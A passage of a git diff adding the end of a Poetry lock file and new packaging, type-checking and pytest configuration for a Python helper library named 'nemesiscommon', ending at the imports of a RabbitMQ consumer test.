+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_i686.whl", hash = "sha256:896689fddba4f23ef7c718279e42f8834041a21342d95e56922e1c10c0cc7afb"},
+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:75669d77bb2c071333417617a235324a1618dba66f82a750362eccbe5b61d248"},
+ {file = "wrapt-1.15.0-cp35-cp35m-win32.whl", hash = "sha256:fbec11614dba0424ca72f4e8ba3c420dba07b4a7c206c8c8e4e73f2e98f4c559"},
+ {file = "wrapt-1.15.0-cp35-cp35m-win_amd64.whl", hash = "sha256:fd69666217b62fa5d7c6aa88e507493a34dec4fa20c5bd925e4bc12fce586639"},
+ {file = "wrapt-1.15.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:b0724f05c396b0a4c36a3226c31648385deb6a65d8992644c12a4963c70326ba"},
+ {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbeccb1aa40ab88cd29e6c7d8585582c99548f55f9b2581dfc5ba68c59a85752"},
+ {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:38adf7198f8f154502883242f9fe7333ab05a5b02de7d83aa2d88ea621f13364"},
+ {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:578383d740457fa790fdf85e6d346fda1416a40549fe8db08e5e9bd281c6a475"},
+ {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:a4cbb9ff5795cd66f0066bdf5947f170f5d63a9274f99bdbca02fd973adcf2a8"},
+ {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:af5bd9ccb188f6a5fdda9f1f09d9f4c86cc8a539bd48a0bfdc97723970348418"},
+ {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:b56d5519e470d3f2fe4aa7585f0632b060d532d0696c5bdfb5e8319e1d0f69a2"},
+ {file = "wrapt-1.15.0-cp36-cp36m-win32.whl", hash = "sha256:77d4c1b881076c3ba173484dfa53d3582c1c8ff1f914c6461ab70c8428b796c1"},
+ {file = "wrapt-1.15.0-cp36-cp36m-win_amd64.whl", hash = "sha256:077ff0d1f9d9e4ce6476c1a924a3332452c1406e59d90a2cf24aeb29eeac9420"},
+ {file = "wrapt-1.15.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5c5aa28df055697d7c37d2099a7bc09f559d5053c3349b1ad0c39000e611d317"},
+ {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3a8564f283394634a7a7054b7983e47dbf39c07712d7b177b37e03f2467a024e"},
+ {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:780c82a41dc493b62fc5884fb1d3a3b81106642c5c5c78d6a0d4cbe96d62ba7e"},
+ {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e169e957c33576f47e21864cf3fc9ff47c223a4ebca8960079b8bd36cb014fd0"},
+ {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b02f21c1e2074943312d03d243ac4388319f2456576b2c6023041c4d57cd7019"},
+ {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f2e69b3ed24544b0d3dbe2c5c0ba5153ce50dcebb576fdc4696d52aa22db6034"},
+ {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d787272ed958a05b2c86311d3a4135d3c2aeea4fc655705f074130aa57d71653"},
+ {file = "wrapt-1.15.0-cp37-cp37m-win32.whl", hash = "sha256:02fce1852f755f44f95af51f69d22e45080102e9d00258053b79367d07af39c0"},
+ {file = "wrapt-1.15.0-cp37-cp37m-win_amd64.whl", hash = "sha256:abd52a09d03adf9c763d706df707c343293d5d106aea53483e0ec8d9e310ad5e"},
+ {file = "wrapt-1.15.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cdb4f085756c96a3af04e6eca7f08b1345e94b53af8921b25c72f096e704e145"},
+ {file = "wrapt-1.15.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:230ae493696a371f1dbffaad3dafbb742a4d27a0afd2b1aecebe52b740167e7f"},
+ {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63424c681923b9f3bfbc5e3205aafe790904053d42ddcc08542181a30a7a51bd"},
+ {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6bcbfc99f55655c3d93feb7ef3800bd5bbe963a755687cbf1f490a71fb7794b"},
+ {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c99f4309f5145b93eca6e35ac1a988f0dc0a7ccf9ccdcd78d3c0adf57224e62f"},
+ {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b130fe77361d6771ecf5a219d8e0817d61b236b7d8b37cc045172e574ed219e6"},
+ {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:96177eb5645b1c6985f5c11d03fc2dbda9ad24ec0f3a46dcce91445747e15094"},
+ {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d5fe3e099cf07d0fb5a1e23d399e5d4d1ca3e6dfcbe5c8570ccff3e9208274f7"},
+ {file = "wrapt-1.15.0-cp38-cp38-win32.whl", hash = "sha256:abd8f36c99512755b8456047b7be10372fca271bf1467a1caa88db991e7c421b"},
+ {file = "wrapt-1.15.0-cp38-cp38-win_amd64.whl", hash = "sha256:b06fa97478a5f478fb05e1980980a7cdf2712015493b44d0c87606c1513ed5b1"},
+ {file = "wrapt-1.15.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2e51de54d4fb8fb50d6ee8327f9828306a959ae394d3e01a1ba8b2f937747d86"},
+ {file = "wrapt-1.15.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0970ddb69bba00670e58955f8019bec4a42d1785db3faa043c33d81de2bf843c"},
+ {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76407ab327158c510f44ded207e2f76b657303e17cb7a572ffe2f5a8a48aa04d"},
+ {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cd525e0e52a5ff16653a3fc9e3dd827981917d34996600bbc34c05d048ca35cc"},
+ {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d37ac69edc5614b90516807de32d08cb8e7b12260a285ee330955604ed9dd29"},
+ {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:078e2a1a86544e644a68422f881c48b84fef6d18f8c7a957ffd3f2e0a74a0d4a"},
+ {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:2cf56d0e237280baed46f0b5316661da892565ff58309d4d2ed7dba763d984b8"},
+ {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7dc0713bf81287a00516ef43137273b23ee414fe41a3c14be10dd95ed98a2df9"},
+ {file = "wrapt-1.15.0-cp39-cp39-win32.whl", hash = "sha256:46ed616d5fb42f98630ed70c3529541408166c22cdfd4540b88d5f21006b0eff"},
+ {file = "wrapt-1.15.0-cp39-cp39-win_amd64.whl", hash = "sha256:eef4d64c650f33347c1f9266fa5ae001440b232ad9b98f1f43dfe7a79435c0a6"},
+ {file = "wrapt-1.15.0-py3-none-any.whl", hash = "sha256:64b1df0f83706b4ef4cfb4fb0e4c2669100fd7ecacfb59e091fad300d4e04640"},
+ {file = "wrapt-1.15.0.tar.gz", hash = "sha256:d06730c6aed78cee4126234cf2d071e01b44b915e725a6cb439a879ec9754a3a"},
+]
+
+[[package]]
+name = "yara-python"
+version = "4.3.1"
+description = "Python interface for YARA"
+optional = false
+python-versions = "*"
+files = [
+ {file = "yara-python-4.3.1.tar.gz", hash = "sha256:7af4354ee0f1561f51fd01771a121d8d385b93bbc6138a25a38ce68aa6801c2c"},
+ {file = "yara_python-4.3.1-cp310-cp310-win32.whl", hash = "sha256:834d8fe2cdb5cf61d5e505d32c504b62891df5ce5af9f04dbd8c7575c1dbef30"},
+ {file = "yara_python-4.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:ec05d0b7cc46728119d450875382d5386305510b8cfb14bad3627060c9e6f199"},
+ {file = "yara_python-4.3.1-cp311-cp311-win32.whl", hash = "sha256:c8663f75f0c5f82e0f6053c9ddbddd97f956787bffb7f64cac1e40e0a21db89c"},
+ {file = "yara_python-4.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:51f1bdbcdbcfa29a7a2cf7e7e5d6a7d8dbd00568e4ab6103adceda5a499895a6"},
+ {file = "yara_python-4.3.1-cp37-cp37m-win32.whl", hash = "sha256:8847bb5e74d2b33cf48f372bed02805876ab2e414aa7fd50c16a7c6150316601"},
+ {file = "yara_python-4.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:fbf8281a6eb538b5c219a9c54c65a910806e7adf28a7d878f2cff551cbbd43ea"},
+ {file = "yara_python-4.3.1-cp38-cp38-win32.whl", hash = "sha256:fd70fe0ba522d4ecd73cbf45e528872844e61e2febe8f66e8a94c2674751b831"},
+ {file = "yara_python-4.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:950377dd53d17870f66406f0db9ed9f6b04ac7e61c7f6fd5429459e2a00fd874"},
+ {file = "yara_python-4.3.1-cp39-cp39-win32.whl", hash = "sha256:c032ad4ec6698a4f485b3d9721e6223028953bb61362482bdd7eabb147271e80"},
+ {file = "yara_python-4.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:f0b7b2ea840638415a075a25860dbcb6466d83000a8367196188a6367b01af71"},
+]
+
+[[package]]
+name = "yarl"
+version = "1.9.2"
+description = "Yet another URL library"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:8c2ad583743d16ddbdf6bb14b5cd76bf43b0d0006e918809d5d4ddf7bde8dd82"},
+ {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82aa6264b36c50acfb2424ad5ca537a2060ab6de158a5bd2a72a032cc75b9eb8"},
+ {file = "yarl-1.9.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c0c77533b5ed4bcc38e943178ccae29b9bcf48ffd1063f5821192f23a1bd27b9"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee4afac41415d52d53a9833ebae7e32b344be72835bbb589018c9e938045a560"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9bf345c3a4f5ba7f766430f97f9cc1320786f19584acc7086491f45524a551ac"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2a96c19c52ff442a808c105901d0bdfd2e28575b3d5f82e2f5fd67e20dc5f4ea"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:891c0e3ec5ec881541f6c5113d8df0315ce5440e244a716b95f2525b7b9f3608"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c3a53ba34a636a256d767c086ceb111358876e1fb6b50dfc4d3f4951d40133d5"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:566185e8ebc0898b11f8026447eacd02e46226716229cea8db37496c8cdd26e0"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:2b0738fb871812722a0ac2154be1f049c6223b9f6f22eec352996b69775b36d4"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:32f1d071b3f362c80f1a7d322bfd7b2d11e33d2adf395cc1dd4df36c9c243095"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:e9fdc7ac0d42bc3ea78818557fab03af6181e076a2944f43c38684b4b6bed8e3"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:56ff08ab5df8429901ebdc5d15941b59f6253393cb5da07b4170beefcf1b2528"},
+ {file = "yarl-1.9.2-cp310-cp310-win32.whl", hash = "sha256:8ea48e0a2f931064469bdabca50c2f578b565fc446f302a79ba6cc0ee7f384d3"},
+ {file = "yarl-1.9.2-cp310-cp310-win_amd64.whl", hash = "sha256:50f33040f3836e912ed16d212f6cc1efb3231a8a60526a407aeb66c1c1956dde"},
+ {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:646d663eb2232d7909e6601f1a9107e66f9791f290a1b3dc7057818fe44fc2b6"},
+ {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aff634b15beff8902d1f918012fc2a42e0dbae6f469fce134c8a0dc51ca423bb"},
+ {file = "yarl-1.9.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a83503934c6273806aed765035716216cc9ab4e0364f7f066227e1aaea90b8d0"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b25322201585c69abc7b0e89e72790469f7dad90d26754717f3310bfe30331c2"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:22a94666751778629f1ec4280b08eb11815783c63f52092a5953faf73be24191"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ec53a0ea2a80c5cd1ab397925f94bff59222aa3cf9c6da938ce05c9ec20428d"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:159d81f22d7a43e6eabc36d7194cb53f2f15f498dbbfa8edc8a3239350f59fe7"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:832b7e711027c114d79dffb92576acd1bd2decc467dec60e1cac96912602d0e6"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:95d2ecefbcf4e744ea952d073c6922e72ee650ffc79028eb1e320e732898d7e8"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:d4e2c6d555e77b37288eaf45b8f60f0737c9efa3452c6c44626a5455aeb250b9"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:783185c75c12a017cc345015ea359cc801c3b29a2966c2655cd12b233bf5a2be"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:b8cc1863402472f16c600e3e93d542b7e7542a540f95c30afd472e8e549fc3f7"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:822b30a0f22e588b32d3120f6d41e4ed021806418b4c9f0bc3048b8c8cb3f92a"},
+ {file = "yarl-1.9.2-cp311-cp311-win32.whl", hash = "sha256:a60347f234c2212a9f0361955007fcf4033a75bf600a33c88a0a8e91af77c0e8"},
+ {file = "yarl-1.9.2-cp311-cp311-win_amd64.whl", hash = "sha256:be6b3fdec5c62f2a67cb3f8c6dbf56bbf3f61c0f046f84645cd1ca73532ea051"},
+ {file = "yarl-1.9.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:38a3928ae37558bc1b559f67410df446d1fbfa87318b124bf5032c31e3447b74"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ac9bb4c5ce3975aeac288cfcb5061ce60e0d14d92209e780c93954076c7c4367"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3da8a678ca8b96c8606bbb8bfacd99a12ad5dd288bc6f7979baddd62f71c63ef"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:13414591ff516e04fcdee8dc051c13fd3db13b673c7a4cb1350e6b2ad9639ad3"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf74d08542c3a9ea97bb8f343d4fcbd4d8f91bba5ec9d5d7f792dbe727f88938"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6e7221580dc1db478464cfeef9b03b95c5852cc22894e418562997df0d074ccc"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:494053246b119b041960ddcd20fd76224149cfea8ed8777b687358727911dd33"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:52a25809fcbecfc63ac9ba0c0fb586f90837f5425edfd1ec9f3372b119585e45"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:e65610c5792870d45d7b68c677681376fcf9cc1c289f23e8e8b39c1485384185"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:1b1bba902cba32cdec51fca038fd53f8beee88b77efc373968d1ed021024cc04"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:662e6016409828ee910f5d9602a2729a8a57d74b163c89a837de3fea050c7582"},
+ {file = "yarl-1.9.2-cp37-cp37m-win32.whl", hash = "sha256:f364d3480bffd3aa566e886587eaca7c8c04d74f6e8933f3f2c996b7f09bee1b"},
+ {file = "yarl-1.9.2-cp37-cp37m-win_amd64.whl", hash = "sha256:6a5883464143ab3ae9ba68daae8e7c5c95b969462bbe42e2464d60e7e2698368"},
+ {file = "yarl-1.9.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5610f80cf43b6202e2c33ba3ec2ee0a2884f8f423c8f4f62906731d876ef4fac"},
+ {file = "yarl-1.9.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b9a4e67ad7b646cd6f0938c7ebfd60e481b7410f574c560e455e938d2da8e0f4"},
+ {file = "yarl-1.9.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:83fcc480d7549ccebe9415d96d9263e2d4226798c37ebd18c930fce43dfb9574"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5fcd436ea16fee7d4207c045b1e340020e58a2597301cfbcfdbe5abd2356c2fb"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:84e0b1599334b1e1478db01b756e55937d4614f8654311eb26012091be109d59"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3458a24e4ea3fd8930e934c129b676c27452e4ebda80fbe47b56d8c6c7a63a9e"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:838162460b3a08987546e881a2bfa573960bb559dfa739e7800ceeec92e64417"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f4e2d08f07a3d7d3e12549052eb5ad3eab1c349c53ac51c209a0e5991bbada78"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:de119f56f3c5f0e2fb4dee508531a32b069a5f2c6e827b272d1e0ff5ac040333"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:149ddea5abf329752ea5051b61bd6c1d979e13fbf122d3a1f9f0c8be6cb6f63c"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:674ca19cbee4a82c9f54e0d1eee28116e63bc6fd1e96c43031d11cbab8b2afd5"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:9b3152f2f5677b997ae6c804b73da05a39daa6a9e85a512e0e6823d81cdad7cc"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:5415d5a4b080dc9612b1b63cba008db84e908b95848369aa1da3686ae27b6d2b"},
+ {file = "yarl-1.9.2-cp38-cp38-win32.whl", hash = "sha256:f7a3d8146575e08c29ed1cd287068e6d02f1c7bdff8970db96683b9591b86ee7"},
+ {file = "yarl-1.9.2-cp38-cp38-win_amd64.whl", hash = "sha256:63c48f6cef34e6319a74c727376e95626f84ea091f92c0250a98e53e62c77c72"},
+ {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:75df5ef94c3fdc393c6b19d80e6ef1ecc9ae2f4263c09cacb178d871c02a5ba9"},
+ {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c027a6e96ef77d401d8d5a5c8d6bc478e8042f1e448272e8d9752cb0aff8b5c8"},
+ {file = "yarl-1.9.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3b078dbe227f79be488ffcfc7a9edb3409d018e0952cf13f15fd6512847f3f7"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59723a029760079b7d991a401386390c4be5bfec1e7dd83e25a6a0881859e716"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b03917871bf859a81ccb180c9a2e6c1e04d2f6a51d953e6a5cdd70c93d4e5a2a"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c1012fa63eb6c032f3ce5d2171c267992ae0c00b9e164efe4d73db818465fac3"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a74dcbfe780e62f4b5a062714576f16c2f3493a0394e555ab141bf0d746bb955"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8c56986609b057b4839968ba901944af91b8e92f1725d1a2d77cbac6972b9ed1"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:2c315df3293cd521033533d242d15eab26583360b58f7ee5d9565f15fee1bef4"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:b7232f8dfbd225d57340e441d8caf8652a6acd06b389ea2d3222b8bc89cbfca6"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:53338749febd28935d55b41bf0bcc79d634881195a39f6b2f767870b72514caf"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:066c163aec9d3d073dc9ffe5dd3ad05069bcb03fcaab8d221290ba99f9f69ee3"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8288d7cd28f8119b07dd49b7230d6b4562f9b61ee9a4ab02221060d21136be80"},
+ {file = "yarl-1.9.2-cp39-cp39-win32.whl", hash = "sha256:b124e2a6d223b65ba8768d5706d103280914d61f5cae3afbc50fc3dfcc016623"},
+ {file = "yarl-1.9.2-cp39-cp39-win_amd64.whl", hash = "sha256:61016e7d582bc46a5378ffdd02cd0314fb8ba52f40f9cf4d9a5e7dbef88dee18"},
+ {file = "yarl-1.9.2.tar.gz", hash = "sha256:04ab9d4b9f587c06d801c2abfe9317b77cdf996c65a90d5e84ecc45010823571"},
+]
+
+[package.dependencies]
+idna = ">=2.0"
+multidict = ">=4.0"
+
+[metadata]
+lock-version = "2.0"
+python-versions = "^3.9"
+content-hash = "6c079f727706a63b056313ae77eab9946834dee920bd9589673c19acfa56a2fe"
diff --git a/packages/python/nemesiscommon/poetry.toml b/packages/python/nemesiscommon/poetry.toml
new file mode 100644
index 0000000..efa46ec
--- /dev/null
+++ b/packages/python/nemesiscommon/poetry.toml
@@ -0,0 +1,2 @@
+[virtualenvs]
+in-project = true
\ No newline at end of file
diff --git a/packages/python/nemesiscommon/pyproject.toml b/packages/python/nemesiscommon/pyproject.toml
new file mode 100644
index 0000000..5febc4f
--- /dev/null
+++ b/packages/python/nemesiscommon/pyproject.toml
@@ -0,0 +1,66 @@
+[tool.poetry]
+name = "nemesiscommon"
+version = "0.2.2"
+description = "Common nemesis helper functions"
+authors = ["SpecterOps "]
+
+[tool.poetry.dependencies]
+python = "^3.9"
+nemesispb = { path = "../nemesispb", develop = true }
+boto3 = "^1.24.59"
+pycryptodomex = "^3.15.0"
+requests = "^2.28.1"
+pydantic = "^1.10.4"
+tenacity = "^8.0.1"
+aio-pika = "^8.3.0"
+pyyaml = "^6.0"
+typing-extensions = "^4.4.0"
+aioboto3 = "^10.4.0"
+structlog = "^23.1.0"
+rich = "^13.3.3"
+yara-python = "^4.3.0"
+prometheus-async = {extras = ["aiohttp"], version = "^22.2.0"}
+winacl = "^0.1.7"
+miniopy-async = "^1.15"
+
+[tool.poetry.dev-dependencies]
+pytest = "^7.1.2"
+black = "^22.6.0"
+flake8 = "^5.0.4"
+mypy = "^0.971"
+
+[tool.poetry.group.dev.dependencies]
+pytest-asyncio = "^0.20.3"
+
+[build-system]
+requires = ["poetry-core>=1.0.0"]
+build-backend = "poetry.core.masonry.api"
+
+[tool.isort]
+import_heading_stdlib = "Standard Libraries"
+import_heading_firstparty = "Nemesis Libraries"
+import_heading_thirdparty = "3rd Party Libraries"
+profile = "black"
+extra_standard_library = "asgiref"
+known_first_party = "nemesis"
+src_paths = ["isort", "test"]
+line_length = 90
+use_parentheses = true
+multi_line_output = 3
+include_trailing_comma = true
+ensure_newline_before_comments = true
+sections = [
+ "FUTURE",
+ "STDLIB",
+ "DJANGO",
+ "THIRDPARTY",
+ "FIRSTPARTY",
+ "LOCALFOLDER",
+]
+
+# [tool.pyright]
+# Using pyrightconfig.json instead since pyproject.toml has 2nd class
+# support in VS code: https://github.com/microsoft/pyright/issues/694#issuecomment-823778235
+
+[tool.black]
+line-length = 240
diff --git a/packages/python/nemesiscommon/pyrightconfig.json b/packages/python/nemesiscommon/pyrightconfig.json
new file mode 100644
index 0000000..27297a0
--- /dev/null
+++ b/packages/python/nemesiscommon/pyrightconfig.json
@@ -0,0 +1,39 @@
+{
+ "include": [
+ "**/*.py"
+ ],
+ "exclude": [
+ "**/__pycache__/**",
+ "**/.git/objects/**",
+ "**/.git/subtree-cache/**",
+ "**/.hg/store/**",
+ "**/.ipynb_checkpoints/**",
+ "**/.mypy_cache/**",
+ "**/.pytest_cache/**",
+ "**/.venv/**",
+ "**/*.egg-info/**",
+ "**/build/**",
+ "**/dist/**",
+ "**/node_modules/*/**",
+ ],
+ "executionEnvironments": [
+ {
+ "root": ".",
+ "pythonVersion": "3.11",
+ "extraPaths": [
+ "../../packages/python/nemesiscommon",
+ "../../packages/python/nemesispb",
+ ]
+ },
+ ],
+ "ignore": [
+ "enrichment/lib/ext_tools"
+ ],
+ "pythonVersion": "3.11",
+ "reportMissingImports": true,
+ "reportMissingTypeStubs": false,
+ "typeCheckingMode": "basic",
+ "useLibraryCodeForTypes": true,
+ "venvPath": ".",
+ "venv": ".venv"
+}
\ No newline at end of file
diff --git a/packages/python/nemesiscommon/pytest.ini b/packages/python/nemesiscommon/pytest.ini
new file mode 100644
index 0000000..a318d22
--- /dev/null
+++ b/packages/python/nemesiscommon/pytest.ini
@@ -0,0 +1,6 @@
+[pytest]
+minversion = 6.0
+asyncio_mode = auto
+addopts = -ra -q
+testpaths =
+ tests
diff --git a/packages/python/nemesiscommon/tests/__init__.py b/packages/python/nemesiscommon/tests/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/packages/python/nemesiscommon/tests/rabbitmqconsumer_test.py b/packages/python/nemesiscommon/tests/rabbitmqconsumer_test.py
new file mode 100644
index 0000000..2334892
--- /dev/null
+++ b/packages/python/nemesiscommon/tests/rabbitmqconsumer_test.py
@@ -0,0 +1,84 @@
+# Standard Libraries
+from unittest.mock import AsyncMock, Mock, NonCallableMock, patch
+
+# 3rd Party Libraries
+import aio_pika
+import pytest
